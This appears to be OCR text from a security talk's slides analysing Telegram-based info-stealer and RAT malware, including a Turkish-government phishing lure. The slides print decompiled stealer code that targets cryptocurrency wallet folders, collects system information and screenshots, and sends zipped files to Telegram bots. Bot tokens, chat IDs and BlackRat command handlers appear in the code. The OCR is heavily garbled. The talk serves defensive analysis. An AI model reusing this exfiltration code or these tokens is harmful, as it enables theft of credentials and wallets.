("%APPDATA%\\bytecoin\\").to_stri
("%APPDATA%\\Ethereum\\keystore\\
%APPDATA%\\Guarda\\\\Local Storag

1no,

%APPDATA%\\Armory\\").to_string())

:obfstr! ("ZCash").to_string(), obfstr::obfstr! ("%APPDATA%\\Zcash\\").to_string());



Mitigations
—

*Binary/Script allowlisting
*Endpoint Detection and Response in enforcement mode
*Phishing resistant security keys
*Revoke security tokens frequently
*Mitigate stealer attacks
*Conditional Access
*Multi Party Authentication

mmmmme  KNOW your environment

*E.g. Is a connection to the API of a message expected from non-browsers

*Perform process tree-based detections

*Determine if connection should be sinkholed

*Doesn’t scale for large enterprises

*Even in the browser consider the impact of extensions on the browser assumptions
*Rise in Rust and Go malware (Multi platform malware)
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Conclusion

Usage of Telegram as a C2 and Exfiltration vector is widespread

Ukraine is not defenseless in CyberSpace

Rise in Rust and Go malware (Multi platform malware)

Don't rely on one source for maliciousness detection

As an attacker practice good OpSec and watch your footprints

Deploy detections and mitigations
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Q&A

Thank You

LINKEDIN:
LINKEDIN.COM/IN/GODWINATTIGAH
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http://linkedin.com/in/godwinattigah

Appendix



Initial Access



Most Common Initial Access

% = [ (@\

Spear Malicious Drive-by Supply
Phishing Ad Compromis Chain
S e Attacks

(Overlays)



Sppear Phlshlngovernment

Phishing purported to come from Turkish

@tubitak gov tr
9/6/2022 8:45:02 AM

TEKLIF TALEP VE FiYAT TEKLIFi(TUBITAK SAGE RFQ)

Phishing purported to come from
Turkish Government I -2 _

Ekte belirtilen iiriin veya muadili ile ilgili fiyat arastirmasi yapmaktayiz.
Fiyat teklifinizi mail yolu ile tarafimiza bildirmeniz 6nemle rica olunur.

Teklif yazilirken; asagidaki belirtilen maddeleri goz oniinde bulundurarak tekliflerinizi hazirlamaniz rica olunur.
RAR Archive Ticaret Sicil numaranizi belirtmeniz ve Ticaret Sicil gazetesini paylasmaniz gerekmektedir,

Teklif yazilirken, tekliflerin gonderilen liste iizerine yazilmasi gerekmektedir,

KDV harig tutar yazilmahdir,

Birim fiyati, Toplam tutan ve Teslim siirelerini belirtmeniz gerekmektedir,

Uriinler TUBITAK SAGE'nin Lalahan Yerleskesi'ne teslim edilecek ve nakliye iicreti, yuklen|C| flrmaya ait olacaktir.

Odeme, fatura tarihli T.C.M.B Déviz Alis Kuru iizerinden ( y kabul komisy liinii takiben ) 21 giin igerisinde TL olarak banka havalesi ile yapilacaktir.

AR LNE

NOT: Teklif verip vermeme durumunuzu belirtmeniz rica olunur.

Tegekkiirler,
lyi calismalar dilerim.

)

. Best regards.

.NET Executable

Supply Chain Management and Procurement Division

Adress:
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Email and Network Attributes

Email Header

1Sender
2MIME-Version
3Content-Type
4X-MTA-CheckPoint
5Authentication-Results

tubitak.gov.tr>

multipart/mixed; boundary="Mark=_364390734182195367227"
{6315AE67-1-65C44CB9-4FD7}
venus.hostxpress.page; spf=pass (sender IP is 127.0.0.1) smtp.mailfrom=_ubitak.gov.tr smtp.helo=webmail.ijjcargo.co m

6Received-SPF pass (venus.hostxpress.page: connection is authenticated
7In-Reply-To
8X-Sender ubitak.gov.tr

9X-PPP-Message-ID <166236324592.2052926.6 516792004089511165@venus.hostxpress.page>
10X-PPP-Vhost ijcargo.com
11X-Virus-Scanned clamav-milter 0.103.7 at venus.hostxpress.page
12X-Virus-Status Clean
13Return-Path ubitak.gov.tr X-MS-Exchange-Organization-Network-Message -Id: b16b4550-66a3-4827-98d6-08da8f15c4a2
14X-Auto-Response-Suppress DR, OOF, AutoRepl
15X-MS-Exchange-Organization-AuthSource
16X-MS-Exchange-Organization-AuthAs Anonymous

SMTP EHLO Domain Info (ijcargo.com)

Handle 1

Name Rizwan lkram

Organiza

tion Computer Services Professionals
Email info@cs-pro.biz

Phone  tel: +92.3332206717

Kind individual

Mailing Own Plaza, Block C Stairway #4,, 2nd Floor, C23. Nazimabad #1, Karachi, Sindh,

Address 74600, PK o



O detections '= Not Malicious

(1?) No security vendors and no sandboxes flagged this file as malicious

04d8057e882b6f876891d9762eb2f0106fc507f0aecd279fcea370948ae63066 58.79 MB 2022-02-11 11:12:35 UTC
SysInfo.dll Size 5 the

overlay peexe

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY

Crowdsourced YARA Rules

Matches rule by ditekSHen from ruleset indicator_packed at https://github.com/ditekshen/detection
Ls Detects encrypted or obfuscated .NET executables
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}
using (Strez ter out2 = new StreamWriter(TempFolder + "\\Installed"))
{
le.SetOut(out2);
Installed();

+

}
using ( 3 iter out3 = new StreamWriter(TempFolder
1

.SetOut(out3);
ListProcesses();

sing ( ess process = new Process())

process.StartInfo.FileName = "c
process.StartInfo.Arguments =
process.StartInfo.UseShellExecute = 5
process.StartInfo.WindowStyle = ProcessWindowSt .Hidden;
process.Start();

process.WaitForExit();

+ TempFolder + "\\SystemInfo\"";

eInfo[] drives = Drivel .GetDrives();
foreach (Drivelr driveInfo in drives)

f (driveInfo.IsReady)

using =55 process2 = new Process();
process2.StartInfo.FileName = “"cmd";
process2.StartInfo.Arguments = "/c tree /F >> \"" + TempFolder + "\\Tree\"";
process2.StartInfo.WorkingDirectory = driveInfo.Name;
process2.StartInfo.UseShellExecute = -

process2.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process2.Start();

process2.WaitForExit();

Q.

}
¥
PrtScr(TempFolder + "\\" + GenString(12));
.Sleep(5000);
.CreateFromDirectory(TempFolder, TempFolder + ".zip");

.Delete(TempFolder, recursive: ¥
Bot();

W w

.SendFile(TempFolder +
B.SendMessage("----------------------------—- S SEse s s e S e ");
=.Delete(TempFolder + ".zip");

-SendMessape( i --r--—rcorooo—r oo oo oo Begin-----=--=---------e—oooooo o \nUser Name:

.UserName +

t.MachineName);



Telegram.Bot;

Client = TelegramBot(Client("5094216170:AAG3TS5pjcGOHTDfRrqqEPOpqcs7sF@HHUWK"
ChatID = 1896986979L;

Telegram Bot Information

Assemblies v N Sendhile(string) : las
e-[[] 04d8057¢882b6¢876891d9762eb20106fc507f0aecd27% cea3709482e63066

8-00 Microsoft.CSharp (6.0.0.0, NETCoreApp, v6.0) +

8-00 Microsoft.VisualBasic.Core (11.0.0.0, NETCoreApp, v6.0) : :

6000 Microsoft VisualBasic (10000, NETCoreApp, v6.0) : e IR

—DD Microsoft.\"linEZ.Prin?itives (6.0.0.0, NETCoreApp, v6.0) { using Fil S .OpenRead(PathFile);

&-00 Microsoft.Win32.Registry (6.0.0.0, NETCoreApp, v6.0) ; document = InputOnlineFile(Stream, .GetFileName(PathFile));
-DU Microsoft.Win32.SystemEvents (6.0.0.0, .NETCoreApp, v6.0) await Client.SendDocumentAsync(ChatID, document);

—DD mscorlib (4.0.0.0, .NETCoreApp, v6.0) }

Sending a file



local 218 = (undefined8 ***¥*)

((ulonglong)local 218 & OxfffffffffFFFFf00
(ulonglong)* (byte *) ((longlong)param 2 + 0OxI

uStackl352 = (undefined8 *kkok) (param 2 +°4);

local 558

uStackl360
uStackl344
uStackl336

local 530
local 358
uStackB848
local 348
local 338
uStack81l6

&PTR_s_https://www.iplocate.io/apiylook_140
(undefined8 ****)&LAB 14000d9£0;
(undefined8 ****)&DAT 1403259£0;

&local 218;

&LAB 140020890;

&PTR_DAT 140£895e8;

(undefined *)0x3;

(longlong *)0x0;

&local 558;

3;

FUN_ 140348390 (&local 78, &local 358);



GetMe

Use getMe to
find out more
information

about the bot

Investigating a Telegram Bot

https://api.telegram.org/bot5248767874:AAHfaouXDPszTKXS0QdQ52VJ5200mZsZK4U/getMe

GET v https://api.telegram.org/bot5248767874:AAHfaouXDPszTKXS0QdQ52VJI5200mZsZK4U/getMe

Params Authorization Head

Query Params

KEY VALUE

Body Cookies

Pretty Raw Preview Visualize JSON v

|

o
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Payload Analysis

|dentify the sample
as an electron binary

|[dentify important
actor code &&
discovered
password protected
rust binary

Reverse engineer
the rust binary to
identify actor's
intent.

ASAR extract the
Electron package

Get the password
protected rust binary
from the electron

Use messages from
actor's telegram
channel to identify
actor's potential
targets

Infrastructure Analysis

Analyze C2
Infrastructure

Fuzz potential paths
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@ No security vendors and no sandboxes flagged this file as malicious

48ddfd4e17b06566d260e23d7f1f5ef6b2c14a7e12ba202d3dc78541549feba3 59.88 MB 2022-07-15 22:10:13 UTC
ST Size 7 days ago
?
64bits macho
% Community v
Score
RUSSIAN - DETECTED ~ SPANISH  ENGLISH  RUSSIAN v < ENGLISH  SPANISH  RUSSIAN v
@bot.message_handler(commands=['start’, 'back’) X @bot.message_handler(commands=['start’, 'back?) %

def start_message(message):
if str(message.chat.id) == user_id:

def start_message(message):
if str(message.chat.id) == user_id:

keyboard = telebot.types.ReplyKeyboardMarkup

keyboard.add'TlonyunTb IP"CKpMHLWIOT 9KpaHa'

keyboard.add'®oTo ¢ Kamepbl"CoobuieHue'

keyboard.add'Bbikntountb KoMmnbtoTep'lepesarpysuntb
KomnbroTep'

keyboard.add('Io6aBuTb RAT B aBTO3arpy3Kky')

keyboard.add('/help’)

keyboard = telebot.types.ReplyKeyboardMarkup
keyboard.add'Get IP"Screenshot'

keyboard.add'Camera Photo'Message'
keyboard.add'Shutdown Computer'Restart Computer'
keyboard.add('Add RAT to autoload’)

keyboard.add('/help’)

bot.send_message(user_id, 'Hello\nim BLACK RAT\n\nAuthor:

bot.send_message(user_id, 'Hello'\nim BLACK RAT\n\nAuthor: @blackcode_admin\nChannel: @blackcode_tg/,
@blackcode_admin\nChannel: @blackcode_tg, reply_markup=keyboard)
repIy_markup=keyboard)\ 63



Initial Lure

“Order from
the Kremlin”

ame Date modified
| Css 11/13/2022 9:54 PM
fonts 11/13/2022 9:54 PM
. img 11/13/2022 9:54 PM
| src 11/13/2022 9:54 PM
| static 11/13/2022 9:54 PM
lﬂ apple-touch-icon.png 11/13/2022 9:54 PM
| asset-manifest.json 11/13/2022 9:54 PM
- electron,js 11/13/2022 9:54 PM
= email.html 11/13/2022 9:54 PM
] favicon.ico 11/13/2022 9:54 PM
7 icon.icns 11/13/2022 9:54 PM
7 icon.ico 11/13/2022 9:54 PM
i icon.png 11/13/2022 9:54 PM
¥ index.html 11/13/2022 9:54 PM
| manifest.json 11/13/2022 9:54 PM
¢ precache-manifest.90800c209b2b5497efb... 11/13/2022 9:54 PM
‘. preload.js 11/13/2022 9:54 PM
° service-worker.js 11/13/2022 9:54 PM
B etupzip 11/13/2022 9:54 PM
€.EXE 11/13/2022 9:54 PM

4 Ukaz_VV.pdf 11/13/2022 %;

Type

File folder

File folder

File folder

File folder

File folder

PNG File

JSON Source File
JavaScript Source ...
Microsoft Edge H...
Icon File

ICNS File

Icon File

PNG File

Microsoft Edge H...
JSON Source File
JavaScript Source ...
JavaScript Source ...
JavaScript Source ...
WinRAR ZIP archive
Application

Adobe Acrobat D...

Size

18KB
1KB

5KB
29KB

67 KB

111 KB
67 KB

201 KB
3KB

1KB

1KB

1KB

2KB
9,245 KB
14,149 KB
799 KB
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Entry Level Attackers | Stealer Groups

» Entry level & Advanced Crime Groups

 Code Sophistication : An obvious
attempt at avoiding static analysis, by
using obfuscated(b64) ,  AES
encryption & some segment packing

» Connection Redundancy : Use
multiple exfiltration channels (not just
telegram)

« SMTP
» Pastebin
« Github

BDOS = “j8jfmfTZf
Hwid =
Delay = "3";

2 Group = "DMRqrisIeUsgdrORETIDP3RBgkO/ebad@l@nBuSeFjpe/aRonuSxR799Q

InitializeSettings()

Key = .UTF8.GetString(
aes256 = Aes256(Key);
TelegramToken = aes256.Decrypt(TelegramToken);
TelegramChatID = aes256.Decrypt(TelegramChatID);
Ports = aes256.Decrypt(Ports);

Hosts = aes256.Decrypt(Hosts);

Version = aes256.Decrypt(Version);

Install = aes256.Decrypt(Install);

MTX = aes256.Decrypt(MTX);

Pastebin = aes256.Decrypt(Pastebin);

Anti = ages256.Decrypt(Anti);

BDOS = aes256.Decrypt(BDOS);

Group = aes256.Decrypt(Group);

.FromBase64String(Key));

Hwid = HWID();
Serversignature = aes256.Decrypt(Serversignature);

ServerCertificate = X509Certificate2(
return VerifyHash();

.FromBase64String(ages256.Decrypt



Underground Forums Advertisement

Good day everyone, pls i need a botnet crypted file pls

ali1920

New member

How do | build my virus with it

Dove123



www.BANDICAM.com

' ‘\_D W,
‘ /; Untitled - Nctepad

Format View Help
BotFather
Hello Today I Am Going to SHOW YOU HOW TO SET UP AND USE WORLDWIND STEALER.

FIRST YOU SHOULD CREATE A TELEGRAM BOT BY GOING TO @BOTFATHER
ONCE THERE CREATE A BOT AND COPY THE API TOKEN AND PUT IT IN THE BUILDER

ChatID: @iDCHATBOT

w oy

-4\‘,
)~ 0544526




Mac Malware



Macho and BlackRat

Object Name: <module>
Arg Count: ©
Pos Only Arg Count: ©
KW Only Arg Count: ©
Locals: ©
Stack Size: 5
Flags: ©x00000040 (CO_NOFREE)
[Names]
"telebot’
‘requests’
0s
‘subprocess’
‘cv2'
‘PIL®
‘ImageGrab’
‘datetime’
‘system’
‘token’
‘user_id’
‘new_target’
TeleBot"
"bot"
‘message_handler’
‘start_message’
‘help message’
‘text_message’
‘polling’
[Var Names]
[Free Vars]
[Cell Vars]
[Constants]

|dentify Pylnstaller
Extract with pyinstxtractor
Get bytecode
Python Bytecode Disassembly



